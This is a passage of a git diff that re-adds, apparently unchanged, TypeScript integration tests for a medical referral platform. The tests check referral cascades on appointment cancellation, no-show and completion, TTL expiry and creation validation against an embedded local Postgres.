completed, and -// proof that double-firing the hook is a no-op. Port 5441. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { - acceptReferral, - consultationRitual, - createReferral, - generateSlots, - installEmailCapture, - makeDoctor, - makePatient, - makeSpecialty, - resetEmailSenderFixture, - setAppointmentStatus, -} from './helpers/fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5446; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -async function freshAcceptedReferral( - app: ReturnType, - doctorA: { accessToken: string; profileId: string }, - doctorB: { accessToken: string; profileId: string }, - patient: { accessToken: string; profileId: string }, -) { - const { consultationId } = await consultationRitual(app, patient as never, doctorA as never); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'cascade fixture', - }); - expect(created.status, JSON.stringify(created.body)).toBe(201); - const slots = await generateSlots(app, doctorB, 2); - const accepted = await acceptReferral(app, patient, created.body.id, slots[0]); - expect(accepted.status, JSON.stringify(accepted.body)).toBe(200); - return { - referralId: created.body.id as string, - appointmentId: accepted.body.resultingAppointmentId as string, - remainingSlotId: slots[1] as string, - }; -} - -describe('referral cascade on appointment transitions', () => { - let app: ReturnType; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - const emailedTokens = new Map(); - let doctorA: Awaited>; - let doctorB: Awaited>; - let patient: Awaited>; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - // Must be set before the app module (and its PrismaClient) loads. - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - await installEmailCapture(emailedTokens); - const specialtyId = await makeSpecialty(prisma, `Cardiology ${runId}`); - doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); - doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); - patient = await makePatient(app, emailedTokens, runId); - }); - - afterAll(async () => { - await resetEmailSenderFixture(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('patient cancellation returns the referral to pending and frees the future slot', async () => { - const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); - const before = await prisma.appointment.findUniqueOrThrow({ where: { id: appointmentId } }); - const slotId = before.availabilitySlotId!; - - const cancelled = await request(app) - .patch(`/appointments/${appointmentId}/cancel`) - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(cancelled.status).toBe(200); - - const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('pending'); - expect(referral.resultingAppointmentId).toBeNull(); - expect(referral.snapshotNotes).toBe('cascade fixture'); // snapshot survives - - const appointment = await prisma.appointment.findUniqueOrThrow({ where: { id: appointmentId } }); - expect(appointment.status).toBe('cancelled'); - expect(appointment.availabilitySlotId).toBeNull(); // unique claim released - const slot = await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slotId } }); - expect(slot.status).toBe('open'); // re-bookable, released - - // The cancelled appointment remains part of the referral's history. - const history = await prisma.appointment.findMany({ where: { referralId } }); - expect(history.map((row) => row.id)).toContain(appointmentId); - - // And the released slot can actually be re-booked (the exact bug the - // nullable link exists to prevent). - const rebook = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ availabilitySlotId: slotId }); - expect(rebook.status).toBe(201); - }); - - it('first no-show returns the referral to pending with noShowCount=1; second expires it with the referring-doctor flag', async () => { - const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); - - const first = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); - expect(first.status).toBe(200); - let referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('pending'); - expect(referral.noShowCount).toBe(1); - expect(referral.referringDoctorNotifiedAt).toBeNull(); - - // Re-book: accept again (snapshot reused, no re-intake). - const slots = await generateSlots(app, doctorB, 2); - const rebooked = await acceptReferral(app, patient, referralId, slots[0]); - expect(rebooked.status).toBe(200); - const secondAppointmentId = rebooked.body.resultingAppointmentId as string; - - const second = await setAppointmentStatus(app, doctorB, secondAppointmentId, 'no_show'); - expect(second.status).toBe(200); - referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('expired'); - expect(referral.noShowCount).toBe(2); - expect(referral.referringDoctorNotifiedAt).not.toBeNull(); - expect(referral.expiredReason).toBe('no_show'); - expect(referral.expiredAt).not.toBeNull(); - // The expiring no-show appointment stays linked as the reason. - expect(referral.resultingAppointmentId).toBe(secondAppointmentId); - }); - - it('completing the referral-origin appointment completes the referral', async () => { - const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); - - const completed = await setAppointmentStatus(app, doctorB, appointmentId, 'completed'); - expect(completed.status).toBe(200); - - const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.status).toBe('completed'); - }); - - it('is idempotent when the transition (and hook) fires twice', async () => { - const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); - - const first = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); - expect(first.status).toBe(200); - // Second call: the conditional UPDATE matches nothing β†’ 409, and the - // cascade must NOT have advanced noShowCount a second time. - const second = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); - expect(second.status).toBe(409); - - const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); - expect(referral.noShowCount).toBe(1); - expect(referral.status).toBe('pending'); - }); - - it('direct-booking appointments (no referral) still transition normally', async () => { - const slots = await generateSlots(app, doctorA, 2); - const appointment = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ availabilitySlotId: slots[0] }); - expect(appointment.status).toBe(201); - const completed = await setAppointmentStatus(app, doctorA, appointment.body.id, 'completed'); - expect(completed.status).toBe(200); - }); -}); +// Cascade rules (issue #67, PRD Β§8.2.3): what happens to a referral when +// the appointment it produced is cancelled / no-showed / completed, and +// proof that double-firing the hook is a no-op. Port 5441. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { + acceptReferral, + consultationRitual, + createReferral, + generateSlots, + installEmailCapture, + makeDoctor, + makePatient, + makeSpecialty, + resetEmailSenderFixture, + setAppointmentStatus, +} from './helpers/fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5446; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +async function freshAcceptedReferral( + app: ReturnType, + doctorA: { accessToken: string; profileId: string }, + doctorB: { accessToken: string; profileId: string }, + patient: { accessToken: string; profileId: string }, +) { + const { consultationId } = await consultationRitual(app, patient as never, doctorA as never); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'cascade fixture', + }); + expect(created.status, JSON.stringify(created.body)).toBe(201); + const slots = await generateSlots(app, doctorB, 2); + const accepted = await acceptReferral(app, patient, created.body.id, slots[0]); + expect(accepted.status, JSON.stringify(accepted.body)).toBe(200); + return { + referralId: created.body.id as string, + appointmentId: accepted.body.resultingAppointmentId as string, + remainingSlotId: slots[1] as string, + }; +} + +describe('referral cascade on appointment transitions', () => { + let app: ReturnType; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + const emailedTokens = new Map(); + let doctorA: Awaited>; + let doctorB: Awaited>; + let patient: Awaited>; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + // Must be set before the app module (and its PrismaClient) loads. + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + await installEmailCapture(emailedTokens); + const specialtyId = await makeSpecialty(prisma, `Cardiology ${runId}`); + doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); + doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); + patient = await makePatient(app, emailedTokens, runId); + }); + + afterAll(async () => { + await resetEmailSenderFixture(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('patient cancellation returns the referral to pending and frees the future slot', async () => { + const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); + const before = await prisma.appointment.findUniqueOrThrow({ where: { id: appointmentId } }); + const slotId = before.availabilitySlotId!; + + const cancelled = await request(app) + .patch(`/appointments/${appointmentId}/cancel`) + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(cancelled.status).toBe(200); + + const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('pending'); + expect(referral.resultingAppointmentId).toBeNull(); + expect(referral.snapshotNotes).toBe('cascade fixture'); // snapshot survives + + const appointment = await prisma.appointment.findUniqueOrThrow({ where: { id: appointmentId } }); + expect(appointment.status).toBe('cancelled'); + expect(appointment.availabilitySlotId).toBeNull(); // unique claim released + const slot = await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slotId } }); + expect(slot.status).toBe('open'); // re-bookable, released + + // The cancelled appointment remains part of the referral's history. + const history = await prisma.appointment.findMany({ where: { referralId } }); + expect(history.map((row) => row.id)).toContain(appointmentId); + + // And the released slot can actually be re-booked (the exact bug the + // nullable link exists to prevent). + const rebook = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ availabilitySlotId: slotId }); + expect(rebook.status).toBe(201); + }); + + it('first no-show returns the referral to pending with noShowCount=1; second expires it with the referring-doctor flag', async () => { + const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); + + const first = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); + expect(first.status).toBe(200); + let referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('pending'); + expect(referral.noShowCount).toBe(1); + expect(referral.referringDoctorNotifiedAt).toBeNull(); + + // Re-book: accept again (snapshot reused, no re-intake). + const slots = await generateSlots(app, doctorB, 2); + const rebooked = await acceptReferral(app, patient, referralId, slots[0]); + expect(rebooked.status).toBe(200); + const secondAppointmentId = rebooked.body.resultingAppointmentId as string; + + const second = await setAppointmentStatus(app, doctorB, secondAppointmentId, 'no_show'); + expect(second.status).toBe(200); + referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('expired'); + expect(referral.noShowCount).toBe(2); + expect(referral.referringDoctorNotifiedAt).not.toBeNull(); + expect(referral.expiredReason).toBe('no_show'); + expect(referral.expiredAt).not.toBeNull(); + // The expiring no-show appointment stays linked as the reason. + expect(referral.resultingAppointmentId).toBe(secondAppointmentId); + }); + + it('completing the referral-origin appointment completes the referral', async () => { + const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); + + const completed = await setAppointmentStatus(app, doctorB, appointmentId, 'completed'); + expect(completed.status).toBe(200); + + const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.status).toBe('completed'); + }); + + it('is idempotent when the transition (and hook) fires twice', async () => { + const { referralId, appointmentId } = await freshAcceptedReferral(app, doctorA, doctorB, patient); + + const first = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); + expect(first.status).toBe(200); + // Second call: the conditional UPDATE matches nothing β†’ 409, and the + // cascade must NOT have advanced noShowCount a second time. + const second = await setAppointmentStatus(app, doctorB, appointmentId, 'no_show'); + expect(second.status).toBe(409); + + const referral = await prisma.referral.findUniqueOrThrow({ where: { id: referralId } }); + expect(referral.noShowCount).toBe(1); + expect(referral.status).toBe('pending'); + }); + + it('direct-booking appointments (no referral) still transition normally', async () => { + const slots = await generateSlots(app, doctorA, 2); + const appointment = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patient.accessToken}`) + .send({ availabilitySlotId: slots[0] }); + expect(appointment.status).toBe(201); + const completed = await setAppointmentStatus(app, doctorA, appointment.body.id, 'completed'); + expect(completed.status).toBe(200); + }); +}); diff --git a/backend/tests/integration/referral-expiry.test.mts b/backend/tests/integration/referral-expiry.test.mts index 6f09a603..b58f4f84 100644 --- a/backend/tests/integration/referral-expiry.test.mts +++ b/backend/tests/integration/referral-expiry.test.mts @@ -1,173 +1,173 @@ -// Referral expiry job (issue #8): a pending referral older than the TTL is -// expired (reason `ttl`, distinct from declined), fresh/accepted/declined ones -// are left alone, and the sweep is idempotent. Port 5455. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { - acceptReferral, - consultationRitual, - createReferral, - generateSlots, - installEmailCapture, - makeDoctor, - makePatient, - makeSpecialty, - resetEmailSenderFixture, -} from './helpers/fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5455; -const runId = Date.now(); -const DAY_MS = 24 * 60 * 60 * 1000; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -describe('referral expiry job', () => { - let app: ReturnType; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let expireStaleReferrals: typeof import('../../src/modules/referrals/services/index.js').expireStaleReferrals; - let ttlDays: number; - const emailedTokens = new Map(); - let doctorA: Awaited>; - let doctorB: Awaited>; - let patient: Awaited>; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const configModule = await import('../../src/config/index.js'); - const referralsService = await import('../../src/modules/referrals/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - expireStaleReferrals = referralsService.expireStaleReferrals; - ttlDays = configModule.config.referrals.pendingTtlDays; - - await installEmailCapture(emailedTokens); - const specialtyId = await makeSpecialty(prisma, `Cardiology ${runId}`); - doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); - doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); - patient = await makePatient(app, emailedTokens, runId); - }); - - afterAll(async () => { - await resetEmailSenderFixture(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - async function newReferral() { - const { consultationId } = await consultationRitual(app, patient as never, doctorA as never); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'expiry fixture', - }); - expect(created.status, JSON.stringify(created.body)).toBe(201); - return created.body.id as string; - } - - /** Make a referral look `days` old without waiting. */ - async function age(referralId: string, days: number) { - await prisma.referral.update({ - where: { id: referralId }, - data: { updatedAt: new Date(Date.now() - days * DAY_MS) }, - }); - } - - it('expires a pending referral older than the TTL, as `expired`/`ttl` (not declined)', async () => { - const id = await newReferral(); - await age(id, ttlDays + 1); - - const { expired } = await expireStaleReferrals(); - expect(expired).toBeGreaterThanOrEqual(1); - - const row = await prisma.referral.findUniqueOrThrow({ where: { id } }); - expect(row.status).toBe('expired'); - expect(row.status).not.toBe('declined'); - expect(row.expiredReason).toBe('ttl'); - expect(row.expiredAt).not.toBeNull(); - expect(row.referringDoctorNotifiedAt).not.toBeNull(); - expect(row.snapshotNotes).toBe('expiry fixture'); // snapshot untouched - }); - - it('leaves a recent pending referral alone', async () => { - const id = await newReferral(); - await age(id, ttlDays - 1); - - await expireStaleReferrals(); - - const row = await prisma.referral.findUniqueOrThrow({ where: { id } }); - expect(row.status).toBe('pending'); - expect(row.expiredAt).toBeNull(); - expect(row.expiredReason).toBeNull(); - }); - - it('never touches accepted or declined referrals, however old', async () => { - const acceptedId = await newReferral(); - const slots = await generateSlots(app, doctorB, 1); - const accepted = await acceptReferral(app, patient, acceptedId, slots[0]); - expect(accepted.status, JSON.stringify(accepted.body)).toBe(200); - - const declinedId = await newReferral(); - const declined = await request(app) - .post(`/referrals/${declinedId}/decline`) - .set('Authorization', `Bearer ${patient.accessToken}`); - expect(declined.status).toBe(200); - - await age(acceptedId, ttlDays + 30); - await age(declinedId, ttlDays + 30); - - await expireStaleReferrals(); - - expect((await prisma.referral.findUniqueOrThrow({ where: { id: acceptedId } })).status).toBe('accepted'); - const stillDeclined = await prisma.referral.findUniqueOrThrow({ where: { id: declinedId } }); - expect(stillDeclined.status).toBe('declined'); - expect(stillDeclined.expiredReason).toBeNull(); - }); - - it('is idempotent: a second sweep expires nothing more', async () => { - const id = await newReferral(); - await age(id, ttlDays + 1); - - const first = await expireStaleReferrals(); - expect(first.expired).toBeGreaterThanOrEqual(1); - const second = await expireStaleReferrals(); - expect(second.expired).toBe(0); - expect((await prisma.referral.findUniqueOrThrow({ where: { id } })).status).toBe('expired'); - }); - - it('an expired referral can no longer be accepted', async () => { - const id = await newReferral(); - await age(id, ttlDays + 1); - await expireStaleReferrals(); - - const slots = await generateSlots(app, doctorB, 1); - const res = await acceptReferral(app, patient, id, slots[0]); - expect(res.status).toBe(409); - }); -}); +// Referral expiry job (issue #8): a pending referral older than the TTL is +// expired (reason `ttl`, distinct from declined), fresh/accepted/declined ones +// are left alone, and the sweep is idempotent. Port 5455. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { + acceptReferral, + consultationRitual, + createReferral, + generateSlots, + installEmailCapture, + makeDoctor, + makePatient, + makeSpecialty, + resetEmailSenderFixture, +} from './helpers/fixtures.mjs'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5455; +const runId = Date.now(); +const DAY_MS = 24 * 60 * 60 * 1000; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; + +describe('referral expiry job', () => { + let app: ReturnType; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let expireStaleReferrals: typeof import('../../src/modules/referrals/services/index.js').expireStaleReferrals; + let ttlDays: number; + const emailedTokens = new Map(); + let doctorA: Awaited>; + let doctorB: Awaited>; + let patient: Awaited>; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + process.env.DATABASE_URL = databaseUrl; + + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const configModule = await import('../../src/config/index.js'); + const referralsService = await import('../../src/modules/referrals/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + expireStaleReferrals = referralsService.expireStaleReferrals; + ttlDays = configModule.config.referrals.pendingTtlDays; + + await installEmailCapture(emailedTokens); + const specialtyId = await makeSpecialty(prisma, `Cardiology ${runId}`); + doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); + doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId }); + patient = await makePatient(app, emailedTokens, runId); + }); + + afterAll(async () => { + await resetEmailSenderFixture(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + async function newReferral() { + const { consultationId } = await consultationRitual(app, patient as never, doctorA as never); + const created = await createReferral(app, doctorA, { + sourceConsultationId: consultationId, + targetDoctorId: doctorB.profileId, + snapshotNotes: 'expiry fixture', + }); + expect(created.status, JSON.stringify(created.body)).toBe(201); + return created.body.id as string; + } + + /** Make a referral look `days` old without waiting. */ + async function age(referralId: string, days: number) { + await prisma.referral.update({ + where: { id: referralId }, + data: { updatedAt: new Date(Date.now() - days * DAY_MS) }, + }); + } + + it('expires a pending referral older than the TTL, as `expired`/`ttl` (not declined)', async () => { + const id = await newReferral(); + await age(id, ttlDays + 1); + + const { expired } = await expireStaleReferrals(); + expect(expired).toBeGreaterThanOrEqual(1); + + const row = await prisma.referral.findUniqueOrThrow({ where: { id } }); + expect(row.status).toBe('expired'); + expect(row.status).not.toBe('declined'); + expect(row.expiredReason).toBe('ttl'); + expect(row.expiredAt).not.toBeNull(); + expect(row.referringDoctorNotifiedAt).not.toBeNull(); + expect(row.snapshotNotes).toBe('expiry fixture'); // snapshot untouched + }); + + it('leaves a recent pending referral alone', async () => { + const id = await newReferral(); + await age(id, ttlDays - 1); + + await expireStaleReferrals(); + + const row = await prisma.referral.findUniqueOrThrow({ where: { id } }); + expect(row.status).toBe('pending'); + expect(row.expiredAt).toBeNull(); + expect(row.expiredReason).toBeNull(); + }); + + it('never touches accepted or declined referrals, however old', async () => { + const acceptedId = await newReferral(); + const slots = await generateSlots(app, doctorB, 1); + const accepted = await acceptReferral(app, patient, acceptedId, slots[0]); + expect(accepted.status, JSON.stringify(accepted.body)).toBe(200); + + const declinedId = await newReferral(); + const declined = await request(app) + .post(`/referrals/${declinedId}/decline`) + .set('Authorization', `Bearer ${patient.accessToken}`); + expect(declined.status).toBe(200); + + await age(acceptedId, ttlDays + 30); + await age(declinedId, ttlDays + 30); + + await expireStaleReferrals(); + + expect((await prisma.referral.findUniqueOrThrow({ where: { id: acceptedId } })).status).toBe('accepted'); + const stillDeclined = await prisma.referral.findUniqueOrThrow({ where: { id: declinedId } }); + expect(stillDeclined.status).toBe('declined'); + expect(stillDeclined.expiredReason).toBeNull(); + }); + + it('is idempotent: a second sweep expires nothing more', async () => { + const id = await newReferral(); + await age(id, ttlDays + 1); + + const first = await expireStaleReferrals(); + expect(first.expired).toBeGreaterThanOrEqual(1); + const second = await expireStaleReferrals(); + expect(second.expired).toBe(0); + expect((await prisma.referral.findUniqueOrThrow({ where: { id } })).status).toBe('expired'); + }); + + it('an expired referral can no longer be accepted', async () => { + const id = await newReferral(); + await age(id, ttlDays + 1); + await expireStaleReferrals(); + + const slots = await generateSlots(app, doctorB, 1); + const res = await acceptReferral(app, patient, id, slots[0]); + expect(res.status).toBe(409); + }); +}); diff --git a/backend/tests/integration/referral-foundation.test.mts b/backend/tests/integration/referral-foundation.test.mts index 5952cde1..32cbf548 100644 --- a/backend/tests/integration/referral-foundation.test.mts +++ b/backend/tests/integration/referral-foundation.test.mts @@ -1,377 +1,377 @@ -// Referral foundation (issues #5/#7 minimal): creation from a -// consultation, snapshot copy, patient accept (books the referral -// appointment) and decline β€” plus the creation-time validation gates. -// Self-contained embedded Postgres on port 5445 (see booking.test.mts -// for the why of that pattern). Every integration file needs its OWN port β€” -// vitest runs them in parallel, and two files on one port means one of them -// fails to start. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { - acceptReferral, - consultationRitual, - createReferral, - generateSlots, - installEmailCapture, - makeDoctor, - makePatient, - makeSpecialty, - resetEmailSenderFixture, -} from './helpers/fixtures.mjs'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5445; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-test-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -describe('referral foundation', () => { - let app: ReturnType; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - const emailedTokens = new Map(); - let cardiologyId: string; - let endocrinologyId: string; - let doctorA: Awaited>; - let doctorB: Awaited>; - let patient: Awaited>; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Must be set before the app module (and its PrismaClient) loads. - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - await installEmailCapture(emailedTokens); - cardiologyId = await makeSpecialty(prisma, `Cardiology ${runId}`); - endocrinologyId = await makeSpecialty(prisma, `Endocrinology ${runId}`); - doctorA = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); - doctorB = await makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: endocrinologyId }); - patient = await makePatient(app, emailedTokens, runId); - }); - - afterAll(async () => { - await resetEmailSenderFixture(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('creates a referral from a consultation, copying the snapshot', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - - const res = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - targetSpecialtyId: endocrinologyId, - snapshotNotes: 'Persistent palpitations, ECG normal.', - }); - expect(res.status).toBe(201); - expect(res.body.status).toBe('pending'); - expect(res.body.snapshotNotes).toBe('Persistent palpitations, ECG normal.'); - expect(res.body.patientProfileId).toBe(patient.profileId); - expect(res.body.referringDoctorId).toBe(doctorA.profileId); - expect(res.body.targetDoctorId).toBe(doctorB.profileId); - expect(res.body.parentReferralId).toBeNull(); - expect(res.body.loopFlaggedAt).toBeNull(); - }); - - it('rejects referral creation that violates the gates', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - - // unverified target - const unverified = await makeDoctor(app, prisma, emailedTokens, runId + 1); - await prisma.doctorProfile.update({ - where: { id: unverified.profileId }, - data: { verificationStatus: 'pending' }, - }); - const unverifiedRes = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: unverified.profileId, - snapshotNotes: 'notes', - }); - expect(unverifiedRes.status).toBe(422); - - // self-referral - const selfRes = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorA.profileId, - snapshotNotes: 'notes', - }); - expect(selfRes.status).toBe(422); - - // not the referring doctor's own consultation - const foreignRes = await createReferral(app, doctorB, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - expect(foreignRes.status).toBe(403); - - // missing consultation - const missingRes = await createReferral(app, doctorA, { - sourceConsultationId: '00000000-0000-0000-0000-000000000000', - targetDoctorId: doctorB.profileId, - snapshotNotes: 'notes', - }); - expect(missingRes.status).toBe(404); - }); - - it('rejects a referral from a not-completed appointment', async () => { - const slots = await generateSlots(app, doctorA, 2); - const appointment = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ availabilitySlotId: slots[1] }); - expect(appointment.status).toBe(201); - // consultation creation itself refuses a non-completed appointment - const consult = await request(app) - .post('/consultations') - .set('Authorization', `Bearer ${doctorA.accessToken}`) - .send({ appointmentId: appointment.body.id, outcome: 'referred' }); - expect(consult.status).toBe(409); - }); - - it('accepts a referral by booking the target doctor’s slot (no re-intake)', async () => { - const { consultationId } = await consultationRitual(app, patient, doctorA); - const created = await createReferral(app, doctorA, { - sourceConsultationId: consultationId, - targetDoctorId: doctorB.profileId, - snapshotNotes: 'Snapshot to survive acceptance.', - }); - expect(created.status).toBe(201); - const referralId = created.body.id as string; - - const slots = await generateSlots(app, doctorB, 2); 